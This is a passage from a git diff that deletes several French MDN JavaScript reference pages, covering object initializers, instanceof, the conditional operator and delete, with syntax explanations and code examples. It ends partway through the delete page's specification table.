{{jsxref("Opérateurs/Opérateurs_d_affectation", "|=","#Bitwise_OR_assignment")}}
-
Affectation après OU binaire.
-
{{jsxref("Opérateurs/Affecter_par_décomposition", "[a, b] = [1, 2]")}} {{jsxref("Opérateurs/Affecter_par_décomposition", "{a, b} = {a:1, b:2}")}}
-
-

L'affectation par décomposition permet de d'affecter des propriétés d'un objet ou des éléments d'un tableau à plusieurs variables. Cela permet d'utiliser une syntaxe semblable aux littéraux de tableaux/objets.

-
-
- -

Opérateur virgule

- -
-
{{jsxref("Opérateurs/L_opérateur_virgule", ",")}}
-
L'opérateur virgule permet d'évaluer plusieurs expressions en une seule instruction et de renvoyer le résultat de la dernière expression.
-
- -

Fonctionnalités non-standards{{non-standard_inline}}

- -
-
{{non-standard_inline}}{{jsxref("Opérateurs/Expression_fermetures", "Expression de fermetures", "", 1)}}
-
La syntaxe d'expression de fermeture est un raccourci pour écrire des fonctions simples.
-
{{non-standard_inline}}{{jsxref("Opérateurs/Expression_fonction_génératrice_historique", "", 1)}}
-
Le mot-clé function peut être utilisé afin de définir une fonction génératrice historique. au sein d'une expression.
-
{{non-standard_inline}} {{jsxref("Opérateurs/Compréhensions_de_tableau", "[for (x of y) x]")}}
-
Compréhensions de tableau.
-
{{non-standard_inline}}{{jsxref("Opérateurs/Compréhensions_de_générateur", "(for (x of y) y)")}}
-
Compréhensions de générateurs.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1','#sec-11','Expressions')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-11', 'Expressions')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}{{Spec2('ES6')}}Nouveaux éléments : opérateur de décomposition, affectation par décomposition, mot-clé super .
{{SpecName('ESDraft', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/initialisateur_objet/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/initialisateur_objet/index.html" deleted file mode 100644 index 6aa4d3121f..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/initialisateur_objet/index.html" +++ /dev/null @@ -1,305 +0,0 @@ ---- -title: Initialisateur d'objet -slug: Web/JavaScript/Reference/Opérateurs/Initialisateur_objet -tags: - - ECMAScript 2015 - - JavaScript - - Object - - Reference -translation_of: Web/JavaScript/Reference/Operators/Object_initializer ---- -
{{JsSidebar("Operators")}}
- -

Il est possible d'initialiser un objet en utilisant les notations new Object(), Object.create(), ou grâce à un littéral (appelée initialisateur). Un initialisateur d'objet est une liste contenant plusieurs (éventuellement 0) propriétés, séparées par des virgules, et leurs valeurs associées, cette liste étant entourée d'accolades ({}).

- -
{{EmbedInteractiveExample("pages/js/expressions-objectinitializer.html")}}
- - - -

Syntaxe

- -
var o = {};
-var o = { a: "toto", b: 42, c: {} };
-
-var a = "toto", b = 42, c = {};
-var o = { a: a, b: b, c: c };
-
-var o = {
-  property: function (paramètres) {},
-  get property() {},
-  set property(valeur) {}
-};
-
- -

Nouvelles notations ECMAScript 2015 (ES6)

- -

ECMAScript 2015 (ES6) introduit de nouvelles notations. Pour plus d'informations sur la compatibilité de ces notations avec les différents environnements, se référer au tableau de compatibilité ci-après.

- -
// Raccourcis pour les noms de propriétés (ES2015)
-var a = "toto", b = 42, c = {};
-var o = { a, b, c };
-
-// Raccourcis pour les noms de méthodes(ES2015)
-var o = {
-  property(paramètres) {}
-};
-
-// Noms calculés pour les propriétés (ES2015)
-var prop = "toto";
-var o = {
-  [prop]: "hey",
-  ["tr" + "uc"]: "ho",
-};
- -

Description

- -

Un initialisateur d'objet est une expression qui permet de décrire l'initialisation d'un {{jsxref("Object")}}. Les objets sont constitués de propriétés qui permettent de les décrire. Les valeurs des propriétés d'un objet peuvent être construites à partir de types de données primitifs ou à partir d'autres objets.

- -

Créer des objets

- -

On peut créer un objet sans aucune propriété grâce à l'expression suivante :

- -
var objet = {};
- -

Cependant, en utilisant un littéral ou un initialisateur, on peut créer des objets disposant de propriétés rapidement. Il suffit d'inscrire une liste de clés-valeurs séparées par des virgules. Le fragment de code qui suit permet de créer un objet avec trois propriétés identifiées par les clés "toto", "âge" et "machin". Les valeurs respectives de ces différentes propriétés sont : la chaîne de caractères "truc", le nombre 42 et un autre objet.

- -
var object = {
-  toto: 'truc',
-  âge: 42,
-  machin: { maProp: 12 },
-}
- -

Accéder à des propriétés

- -

Après la création d'un objet, vous pourrez avoir besoin de consulter ou de modifier ses propriétés. Il est possible d'accéder aux propriétés d'un objet en utilisant un point ou des crochets. Voir la page sur les accesseurs de propriétés pour plus d'information.

- -
object.toto; // "truc"
-object['âge']; // 42
-
-object.toto = 'machin';
-
- -

Définir des propriétés

- -

On a déjà vu comment on pouvait utiliser la syntaxe de l'initialisateur pour définir des propriétés. Il arrive souvent de vouloir utiliser des variables comme propriétés d'un objet. C'est pourquoi on peut trouver le code suivant :

- -
var a = 'toto',
-    b = 42,
-    c = {};
-
-var o = {
-  a: a,
-  b: b,
-  c: c
-};
- -

Avec ECMAScript 2015 (ES6), on peut utiliser une notation plus courte pour un résultat égal :

- -
var a = 'toto',
-    b = 42,
-    c = {};
-
-// Raccourcis sur les noms de propriétés (ES2015)
-var o = { a, b, c };
-
-// Autrement dit
-console.log((o.a === { a }.a)); // true
-
- -

Les duplicatas et les noms de propriétés

- -

Si le même nom est utilisé plusieurs fois pour différentes propriétés, ce sera la dernière propriété qui sera prise en compte :

- -
var a = {x: 1, x: 2};
-console.log(a); // { x: 2}
-
- -

Le mode strict d'ECMAScript 5 renvoyait une exception {{jsxref("SyntaxError")}} lorsque plusieurs propriétés avaient le même nom. ECMAScript 2015 (ES6) permettant de créer des propriétés avec des noms qui sont calculés à l'exécution, cette restriction a été retirée.

- -
function vérifierSémantiqueES2015(){
-  'use strict';
-  try {
-    ({ prop: 1, prop: 2 });
-
-    // Aucune erreur, la sémantique en cours consiste à accepter les propriétés dupliquées
-    return true;
-  } catch (e) {
-    // Une erreur est renvoyée : les duplicatas sont interdits en mode strict
-    return false;
-  }
-}
- -

Définitions de méthodes

- -

Une propriété d'un objet peut être une function, un accesseur ou un mutateur :

- -
var o = {
-  property: function (paramètres) {},
-  get property() {},
-  set property(valeur) {}
-};
- -

Avec ECMAScript 2015 (ES6), une notation raccourcie permet de ne plus utiliser le mot-clé "function".

- -
// Raccourci pour les noms de méthodes (ES2015)
-var o = {
-  property(paramètres) {},
-  *generator() {}
-};
- -

Ou encore :

- -
var o = {
-  *generator() {
-    ...
-  }
-};
- -

En utilisant uniquement ECMAScript 5, on aurait écrit :

- -

(Il n'y a pas de function génératrice en ECMAScript5, mais l'exemple permet de comprendre l'évolution de la syntaxe) :

- -
var o = {
-  generator: function* (){}
-};
-
- -

Pour plus d'informations et d'exemples sur les méthodes, voir la page concernant les définitions de méthode.

- -

Noms de propriétés calculés

- -

Avec ECMAScript 2015 (ES6), on peut utiliser un initialisateur et avoir des noms de propriétés qui soient calculés lors de l'exécution. Ainsi, en plaçant une expression entre crochets [], celle-ci sera calculée pour déterminer le nom de la propriété. Cette notation est la symétrique des crochets utilisés pour accéder aux propriétés. Il est désormais possible d'utiliser cette notation dans les littéraux objets :

- -
// Calcul des noms de propriétés (ES2015)
-var i = 0;
-var a = {
-  ['toto' + ++i]: i,
-  ['toto' + ++i]: i,
-  ['toto' + ++i]: i
-};
-
-console.log(a.toto1); // 1
-console.log(a.toto2); // 2
-console.log(a.toto3); // 3
-
-var param = 'taille';
-var config = {
-  [param]: 12,
-  ['mobile' + param.charAt(0).toUpperCase() + param.slice(1)]: 4
-};
-
-console.log(config); // { taille: 12, mobileTaille: 4 }
- -

Décomposition des propriétés

- -

La proposition de la décomposition des propriétés à ECMAScript (au niveau 4, finalisée) vise à permettre la décomposition des propriétés dans les littéraux objets. Cela permet de copier les propriétés énumérables directes à partir d'un objet source vers un nouvel objet.

- -

Le clonage superficiel (sans rattacher le prototype) ou la fusion d'objets pourra désormais être écrite de façon plus concise qu'avec {{jsxref("Object.assign()")}}.

- -
var obj1 = { toto: 'truc', x: 42 };
-var obj2 = { toto: 'bidule', y: 13 };
-
-var clone = { ...obj1 };
-// Object { toto: 'truc', x: 42 }
-
-var fusion = { ...obj1, ...obj2 };
-// Object { toto: 'bidule', x: 42, y: 13 };
-
- -

On notera que la méthode {{jsxref("Object.assign()")}} déclenche les mutateurs, ce qui n'est pas le cas de l'opérateur de décomposition.

- -

Changement de prototype

- -

Définir une propriété avec la syntaxe __proto__: valeur ou "__proto__": valeur ne permet pas de créer une propriété avec le nom __proto__. Si la valeur fournie est un objet ou est null, cela modifie le [[Prototype]] de l'objet. (Si la valeur fournie n'est pas un objet ou n'est pas null, l'objet ne sera pas modifié.)

- -
var obj1 = {};
-assert(Object.getPrototypeOf(obj1) === Object.prototype);
-
-var obj2 = { __proto__: null };
-assert(Object.getPrototypeOf(obj2) === null);
-
-var protoObj = {};
-var obj3 = { '__proto__': protoObj };
-assert(Object.getPrototypeOf(obj3) === protoObj);
-
-var obj4 = { __proto__: "not an object or null" };
-assert(Object.getPrototypeOf(obj4) === Object.prototype);
-assert(!obj4.hasOwnProperty("__proto__"));
-
- -

On ne peut modifier le prototype qu'une seule fois pour une même notation littérale. Toute tentative pour modifier le prototype plusieurs fois renverra une erreur de syntaxe.

- -

Les définitions de propriétés qui n'utilisent pas les deux points ne permettent pas de modifier le prototype, elles définieront une propriété de façon classique.

- -
var __proto__ = 'variable';
-
-var obj1 = { __proto__ };
-assert(Object.getPrototypeOf(obj1) === Object.prototype);
-assert(obj1.hasOwnProperty('__proto__'));
-assert(obj1.__proto__ === 'variable');
-
-var obj2 = { __proto__() { return 'hello'; } };
-assert(obj2.__proto__() === 'hello');
-
-var obj3 = { ['__prot' + 'o__']: 17 };
-assert(obj3.__proto__ === 17);
-
- -

Notation littérale et JSON

- -

La notation utilisant un littéral objet n'est pas identique à celle utilisée par la JavaScript Object Notation (JSON). Bien que ces notations se ressemblent, il existe certaines différences :

- -
    -
  • JSON ne permet de définir des propriétés qu'en utilisant la syntaxe "propriété": valeur. Le nom de la propriété doit être entouré de double-quotes et la définition de la propriété ne peut pas être raccourcie.
    • -
  • En JSON les valeurs ne peuvent être uniquement que des chaînes de caractères, des nombres, des tableaux, true, false, null, ou tout autre objet (JSON).
    • -
  • Une valeur de fonction (voir le paragraphe "Méthodes" ci-avant) ne peut pas être affectée comme valeur en JSON.
    • -
  • Les objets {{jsxref("Date")}} seront convertis en chaînes de caractères avec {{jsxref("JSON.parse()")}}.
    • -
  • {{jsxref("JSON.parse()")}} rejètera les noms de propriétés calculés et renverra une erreur dans ce cas.
    • -
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}{{Spec2('ES5.1')}}Ajout des getter et setter (accesseur/mutateur).
{{SpecName('ES2015', '#sec-object-initializer', 'Object Initializer')}}{{Spec2('ES2015')}}Ajout des raccourcis pour les noms de méthodes et propriétés et des noms de propriétés calculés.
{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.object_initializer")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/instanceof/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/instanceof/index.html" deleted file mode 100644 index 1db76a5bbd..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/instanceof/index.html" +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: instanceof -slug: Web/JavaScript/Reference/Opérateurs/instanceof -tags: - - JavaScript - - Operator - - Prototype - - Reference - - instanceof -translation_of: Web/JavaScript/Reference/Operators/instanceof ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur instanceof permet de tester si un objet possède, dans sa chaîne de prototype, la propriété prototype d'un certain constructeur.

- -
{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}
- - - -

Syntaxe

- -
objet instanceof constructeur
- -

Paramètres

- -
-
objet
-
L'objet qu'on souhaite analyser.
-
- -
-
constructeur
-
La fonction dont on souhaite vérifier la présence dans la chaîne de prototypes.
-
- -

Description

- -

L'opérateur instanceof teste la présence de constructeur.prototype dans la chaîne de prototypes d'objet.

- -
function C(){} // Définition du constructeur
-function D(){} // Définition d'un autre constructeur
-
-var o = new C();
-
-// true, car : Object.getPrototypeOf(o) === C.prototype
-o instanceof C;
-
-// false, car D.prototype n'existe pas dans la chaîne de prototype de o
-o instanceof D;
-
-o instanceof Object; // true, car:
-C.prototype instanceof Object // true
-
-C.prototype = {};
-var o2 = new C();
-
-o2 instanceof C; // true
-
-// false, car C.prototype n'existe plus dans la chaîne de prototype de o
-o instanceof C;
-
-D.prototype = new C(); // Utilisation de l'héritage
-var o3 = new D();
-o3 instanceof D; // true
-o3 instanceof C; // true car C.prototype fait partie de la chaîne de o3
-
- -

À noter que la valeur retournée par instanceof peut être différente suite à un changement de la propriété prototype du constructeur, notamment via la méthode Object.setPrototypeOf(). On peut aussi utiliser la pseudo-propriété __proto__ qui n'était pas standard avant ECMAScript 2015.

- -

instanceof dans d'autres contextes (frames ou fenêtres)

- -

Différents niveaux d'intégrations ont différents environnements. Cela signifie que les valeurs retournées sont différentes (objet globaux différents, constructeurs différents, etc.). Cela peut engendrer des résultats inattendus. Par exemple, [] instanceof window.frames[0].Array renverra false, car Array !== window.frames[0].Array et que les tableaux héritent de leur constructeur.

- -

Cela peut être contre-intuitif au début, mais lorsqu'il est nécessaire de travailler avec plusieurs frames ou fenêtres, et que des objets sont transférés via des fonctions, cela sera un obstacle valide et important. Par contre, il est tout à fait possible d'utiliser Array.isArray(myObj) pour vérifier de manière sécurisée qu'un tableau est effectivement un tableau.

- -

Ainsi, pour vérifier qu'un nœud est bien un objet de type SVGElement dans un autre contexte, on pourra utiliser monNœud instanceof monNœud.documentMaitre.vue.SVGElement.

- -
Note aux développeurs Mozilla :
-Dans un code utilisant XPCOM, instanceof a un comportement particulier : obj instanceof xpcomInterface (ex : Components.interfaces.nsIFile) appelle obj.QueryInterface(xpcomInterface) et retourne true si QueryInterface réussit. Un effet indésirable à cela est qu'il est possible d'utiliser les propriétés de xpcomInterface sur obj après un test réussi d'instanceof. Contrairement au JavaScript classique, obj instanceof xpcomInterface fonctionnera comme prévu même si obj appartient à un autre niveau d'organisation (fenêtre, frame, etc.).
- -

Exemples

- -

Démonstration que String et Date sont de type Object et cas aux limites des littéraux

- -

Le code suivant utilise instanceof pour démontrer que les objets String et Date sont aussi de type Object (ils dérivent d'Object).

- -

Cependant, les objets créés à partir de littéraux objets sont une exception : en effet, bien que leur prototype ne soit pas défini, instanceof Object renvoie true.

- -
var chaîneSimple = "Une chaîne simple";
-var maChaîne  = new String();
-var newChaîne = new String("Chaîne créée avec un constructeur");
-var maDate    = new Date();
-var monObjet  = {};
-var monNonObjet = Object.create(null);
-
-chaîneSimple instanceof String; //false car le prototype vaut undefined
-maChaîne  instanceof String; // true
-newChaîne instanceof String; // true
-maChaîne  instanceof Object; // true
-
-monObjet instanceof Object;  // true, bien que le protoype soit undefined
-({}) instanceof Object;      // true, comme pour le cas précédent
-monNonObjet instance Object; // false
-
-maChaîne instanceof Date;   // false
-
-maDate instanceof Date;     // true
-maDate instanceof Object;   // true
-maDate instanceof String;   // false
-
- -

Démonstration que mavoiture est de type Voiture et de type Object

- -

Le code suivant créé un objet de type Voiture et une instance de cet objet, mavoiture. L'opérateur instanceof montre que l'objet mavoiture est de type Voiture et de type Object.

- -
function Voiture(fabricant, modele, annee) {
-  this.fabricant = fabricant;
-  this.modele = modele;
-  this.annee = annee;
-}
-var mavoiture = new Voiture("Citroën", "C3", 2006);
-var a = mavoiture instanceof Voiture; // retourne true
-var b = mavoiture instanceof Object;  // retourne true
-
- -

Attention à la précédence des opérateurs

- -

Pour tester qu'un objet n'est pas une instance d'un constructeur donné, on pourra faire le test !(monObj instanceof Constructor). Toutefois, attention à ne pas écrire !monObj instanceof Constructor car !monObj serait traité en priorité et on testerait donc false instanceof Constructor qui sera toujours faux.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-relational-operators', 'Opérateurs relationnels')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.8.6', 'Opérateur instanceof')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.8.6', 'Opérateur instanceof')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.4.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.instanceof")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Opérateurs/L_opérateur_typeof","typeof")}}
    • -
  • {{jsxref("Symbol.hasInstance")}}
    • -
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_conditionnel/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_conditionnel/index.html" deleted file mode 100644 index c2357f8e93..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_conditionnel/index.html" +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: L'opérateur conditionnel -slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_conditionnel -tags: - - JavaScript - - Opérateur -translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur (ternaire) conditionnel est le seul opérateur JavaScript qui comporte trois opérandes. Cet opérateur est fréquemment utilisé comme raccourci pour la déclaration de {{jsxref("Instructions/if...else")}}.

- -
{{EmbedInteractiveExample("pages/js/expressions-conditionaloperators.html")}}
- - - -

Syntaxe

- -
condition ? exprSiVrai : exprSiFaux
- -

Paramètres

- -
-
condition
-
Une expression qui est évaluée en un booléen (true ou false).
-
- -
-
exprSiVrai
-
Une expression qui est évaluée si la condition est équivalente à true (truthy)
-
exprSiFaux
-
Une expression qui est évaluée si la condition est équivalente à false (falsy).
-
- -

Description

- -

SI condition vaut true, l'opérateur renverra la valeur d'exprSiVrai; dans le cas contraire, il renverra la valeur de exprSiFaux. Par exemple, on peut afficher un message différent en fonction d'une variable estMembre avec cette déclaration :

- -
"Le prix est : " + (estMembre ? "15 €" : "30 €")
-
- -

On peut également affecter des variables dont la valeur dépendra du test :

- -
var elvisLives = Math.PI > 4 ? "Yep" : "Nope";
- -

On peut enchaîner plusieurs évaluations ternaires l'une à la suite de l'autre (cet opérateur se propage de la gauche vers la droite) :

- -
var premierControle = false,
-    secondControle = false,
-    acces = premierControle ? "Accès refusé" : secondControle ? "Accès refusé" : "Accès autorisé";
-
-console.log(acces); // "Accès autorisé"
- -

Il est également possible d'utiliser cet opérateur pour effectuer l'une ou l'autre expression selon le cas de figure qui se présente :

- -
var stop = false, age = 16;
-
-age > 18 ? location.assign("continue.html") : stop = true;
-
- -

en utilisant l'{{jsxref("Opérateurs/L_opérateur_virgule","opérateur virgule")}}, on peut même y placer plusieurs instructions (attention toutefois à la lisibilité et à se demander si un {{jsxref("Instructions/if...else","if...else")}} n'est pas plus approprié).

- -
var stop = false, age = 23;
-
-age > 18 ? (
-    console.log("OK, accès autorisé."),
-    location.assign("continue.html")
-) : (
-    stop = true,
-    console.log("Accès refusé !")
-);
-
- -

De la même façon, on peut effectuer plusieurs opérations, encadrées par des parenthèses, avant d'affecter le résultat de l'opérateur à une variable. Conformément à l'opérateur virgule, ce sera la dernière valeur qui sera affectée. Ici aussi, attention à la lisibilité du code relativement à un if...else.

- -
var age = 16;
-
-var url = age > 18 ? (
-    console.log("Accès autorisé."),
-    // console.log renvoie "undefined", mais cela importe peu car
-    // ce n'est pas le dernier élément de l'expression
-    "continue.html" // la valeur à affecter si âge > 18
-) : (
-    console.log("Accès refusé !"),
-    // etc.
-    "stop.html" // la valeur à affecter si âge <= 18
-);
-
-location.assign(url); // "stop.html"
- -

Utiliser l'opérateur ternaire dans la valeur de retour

- -

On peut utiliser l'opérateur ternaire (voire une imbrication de celui-ci) pour remplacer certaines formulations avec if...else où return est la seule instruction utilisée :

- -
var func1 = function( .. ) {
-  if (condition1) { return valeur1 }
-  else if (condition2) { return valeur2 }
-  else if (condition3) { return valeur3 }
-  else { return value4 }
-}
-
-var func2 = function( .. ) {
-  return condition1 ? valeur1
-       : condition2 ? valeur2
-       : condition3 ? valeur3
-       :              valeur4
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-conditional-operator', 'Conditional Operator')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-conditional-operator', 'Conditional Operator')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.12', 'The conditional operator')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.12', 'The conditional operator')}}{{Spec2('ES1')}}Définition initiale, implémentée avec JavaScript 1.0.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.conditional")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_delete/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_delete/index.html" deleted file mode 100644 index 19a48f8649..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_delete/index.html" +++ /dev/null @@ -1,305 +0,0 @@ ---- -title: L'opérateur delete -slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_delete -tags: - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/delete ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur delete permet de retirer une propriété d'un objet.

- -
{{EmbedInteractiveExample("pages/js/expressions-deleteoperator.html")}}
- - - -

Syntaxe

- -
delete expression
- -

où expression est évaluée comme une référence à une propriété :

- -
delete objet.propriete
-delete objet['propriete']
-
- -

Paramètres

- -
-
objet
-
Le nom d'un objet ou une expression dont l'évaluation fournit un objet.
-
propriete
-
La propriété qu'on souhaite supprimer.
-
- -

Valeur de retour

- -

true pour tous les cas sauf lorsque la propriété est une propriété propre non-configurable auquel cas false est renvoyé en mode non-strict.

- -

Exceptions

- -

Cet opérateur lève une exception {{jsxref("TypeError")}} en mode strict si la propriété est une propriété propre qui est non-configurable.

- -

Description

- -

Contrairement à ce qu'on pourrait penser, l'opérateur delete n'a rien à voir avec une libération de mémoire directe. La gestion de la mémoire en JavaScript est réalisée de façon indirecte en tenant compte des références, voir cette page pour plus de détails.

- -

L'opérateur delete permet de retirer une propriété donnée d'un objet. Lorsque la suppression se déroule sans problème, l'opération renvoie true, sinon c'est la valeur false qui est renvoyée. Voici quelques scénarios importants qui précisent ce comportement :

- -
    -
  • Si la propriété qu'on souhaite supprimer n'existe pas, delete n'aura aucun effet et l'opération renverra true
    • -
  • Si une propriété du même nom existe sur la chaîne de prototypes, après la suppression, l'objet utilisera la propriété disponible sur la chaîne de prototypes. Autrement dit, delete n'a d'effet que sur les propriétés directement rattachées à un objet (les propriétés « propres »).
    • -
  • Toute propriété déclarée avec {{jsxref("Instructions/var","var")}} ne peut pas être supprimée de la portée globale ou de la portée d'une fonction. -
      -
    • Aussi, delete ne pourra supprimer des fonctions de la portée globale (que ce soit une définition de fonction ou une expression de fonction).
      • -
    • Les fonctions qui font partie d'un objet (à l'exception de la portée globale) peuvent être supprimées avec delete.
      • -
    -
    • -
  • Toute propriété déclarée avec {{jsxref("Instructions/let","let")}} ou {{jsxref("Instructions/const","const")}} ne peut être supprimée de la portée dans laquelle elles ont été créées.
    • -
  • Les propriétés non-configurable ne peuvent pas être retirées. Cela inclut les propriétés des objets natifs comme {{jsxref("Math")}}, {{jsxref("Array")}}, {{jsxref("Object")}} et les propriétés qui sont créées comme non-configurable grâce à la méthode {{jsxref("Object.defineProperty()")}}.
    • -
- -

Voici un fragment de code qui illustre certains cas :

- -
var Employe = {
-  age: 28,
-  nom: 'abc',
-  designation: 'developpeur'
-}
-
-console.log(delete Employe.nom);  // renvoie true
-console.log(delete Employe.age);  // renvoie true
-
-// Lorsqu'on souhaite supprimer une propriété
-// inexistante, on obtient true
-console.log(delete Employe.salaire); // renvoie true
-
- -

Les propriétés non-configurables

- -

Lorsqu'une propriété est marquée comme non-configurable, delete n'aura aucun effet et l'opération renverra false. En mode strict, cela déclenchera une exception TypeError.

- -
var Employe = {};
-Object.defineProperty(Employe, 'nom', {configurable: false});
-
-console.log(delete Employe.nom);  // renvoie false
-
- -

{{jsxref("Instructions/var","var")}} (ou let ou const) crée des propriétés non-configurables qui ne peuvent pas être supprimées via delete :

- -
var autreNom = 'XYZ';
-
-// On peut accéder à la description de cette
-// propriété globale grâce à :
-Object.getOwnPropertyDescriptor(window, 'autreNom')
-
-/* Object {value: "XYZ",
-                  writable: true,
-                  enumerable: true,
-                  configurable: false}
-*/
-
-// On voit que "autreNom", ajouté avec var
-// est marquée comme "non-configurable"
-
-delete autreNom;   // renvoie false
- -

En mode strict, cela aurait déclenché une exception.

- -

Mode strict ou non-strict ?

- -

Lorsqu'on est en mode strict, si delete est utilisé sur une référence directe à une variable, un argument de fonction ou un nom de fonction, il déclenchera une exception {{jsxref("SyntaxError")}}.

- -

Toute variable définie avec var est marquée comme non-configurable. Dans l'exemple qui suit, salaire est non-configurable et ne peut pas être supprimé. En mode non-strict, l'opération delete renverra false.

- -
function Employe() {
-  delete salaire;
-  var salaire;
-}
-
-Employe();
-
- -

Voyons comment ce code se comporte en mode strict : au lieu de renvoyer false, l'instruction lève une exception SyntaxError.

- -
"use strict";
-
-function Employe() {
-  delete salaire;  // SyntaxError
-  var salaire;
-}
-
-// De même, tout accès direct à une fonction
-// avec delete lèvera une SyntaxError
-
-function DemoFunction() {
-  //du code
-}
-
-delete DemoFunction; // SyntaxError
-
- -

Exemples

- -
// on crée la propriété adminName sur la portée globale
-adminName = 'xyz';
-
-// on crée la propriété empCount sur la portée globale
-// On utilise var, elle est donc non-configurable
-var empCount = 43;
-
-EmployeeDetails = {
-  name: 'xyz',
-  age: 5,
-  designation: 'Developer'
-};
-
-// adminName est une propriété de la portée globale
-// qui peut être supprimée car configurable.
-delete adminName;       // renvoie true
-
-// En revanche empCount n'est pas configurable
-// car c'est var qui a été utilisée.
-delete empCount;        // renvoie false
-
-// delete peut être utilisé pour retirer des propriétés
-// d'objets
-delete EmployeeDetails.name; // renvoie true
-
-// Même lorsque la propriété n'existe pas,
-// l'opération renvoie "true"
-delete EmployeeDetails.salary; // renvoie true
-
-// delete n'a pas d'impact sur les propriétés
-// statiques natives
-delete Math.PI; // renvoie false
-
-// EmployeeDetails est une propriété de la portée globale
-// définie sans var, elle est donc configurable
-delete EmployeeDetails;   // renvoie true
-
-function f() {
-  var z = 44;
-
-  // delete n'a pas d'impact sur les noms
-  // des variables locales
-  delete z;     // returns false
-}
-
- -

delete et la chaîne de prototypes

- -

Dans l'exemple qui suit, on supprime une propriété directement rattachée à un objet (une propriété « propre ») alors qu'une propriété du même nom existe sur la chaîne de prototypes :

- -
function Toto(){
-  this.truc = 10;
-}
-
-Toto.prototype.truc = 42;
-
-var toto = new Toto();
-
-// L'instruction suivante renvoie true,
-// après avoir effectivement supprimé
-// la propriété de l'objet toto
-delete toto.truc;
-
-// toto.truc est toujours disponible car
-// elle est disponible sur la chaîne de
-// prototypes
-console.log(toto.truc);
-
-// Ici on supprime la propriété du prototype
-delete Toto.prototype.truc;
-
-// On aura "undefined" dans la console
-// car l'objet n'hérite plus de cette propriété
-// qui a été supprimée
-console.log(toto.truc);
- -

Supprimer les éléments d'un tableau

- -

Lorsqu'on supprime un élément d'un tableau, la longueur du tableau n'est pas modifiée. Cela vaut également lorsqu'on supprime le dernier élément du tableau.

- -

Lorsqu'on utilise delete pour retirer un élément du tableau, cet élément n'est plus dans le tableau. Dans l'exemple suivant, on retire arbres[3] grâce à delete.

- -
var arbres = ["cèdre","pin","chêne","érable","sapin"];
-delete arbres[3];
-if (3 in arbres) {
-    // Le code ici ne sera pas exécuté
-}
- -

Si on veut conserver l'existence d'un élément du tableau avec une valeur indéfinie, on pourra affecter la valeur undefined à cet élément. Ainsi, contrairement à l'exemple précédent, en utilisant undefined, arbres[3] continue d'être présent :

- -
var arbres = ["cèdre","pin","chêne","érable","sapin"];
-arbres[3] = undefined;
-if (3 in arbres) {
-  // Le code ici sera bien exécuté
-}
- -

Si on souhaite plutôt retirer un élément du tableau en changeant le contenu du tableau, on pourra utiliser la méthode {{jsxref("Array.splice()")}}. Dans l'exemple qui suit, la valeur actuelle de arbres[3] est retirée du tableau grâce à splice() mais l'index suivant se décale et arbres[4] devient arbres[3] :

- -
var arbres = ["cèdre","pin","chêne","érable","sapin"];
-if (3 in arbres) {
- // Le code ici sera exécuté
-}
-arbres.splice(3, 1);
-console.log(arbres); // ["cèdre","pin","chêne","sapin"];
-if (3 in arbres) {
- // Le code ici sera également exécuté
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-delete-operator', 'The delete Operator')}}{{Spec2('ESDraft')}}
